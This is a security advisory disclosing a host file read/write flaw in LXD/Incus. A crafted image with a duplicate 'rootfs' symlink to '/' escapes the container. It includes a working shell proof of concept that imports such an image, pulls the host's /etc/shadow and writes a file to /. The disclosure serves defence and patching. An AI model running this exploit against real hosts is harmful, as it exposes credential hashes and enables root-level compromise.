GHSA-vghh-5rfx-xhq8: LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml rootfs/ rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC rootfs symlink host afrw EOF

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-rootfs-symlink.tar

inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink

read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow"

write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.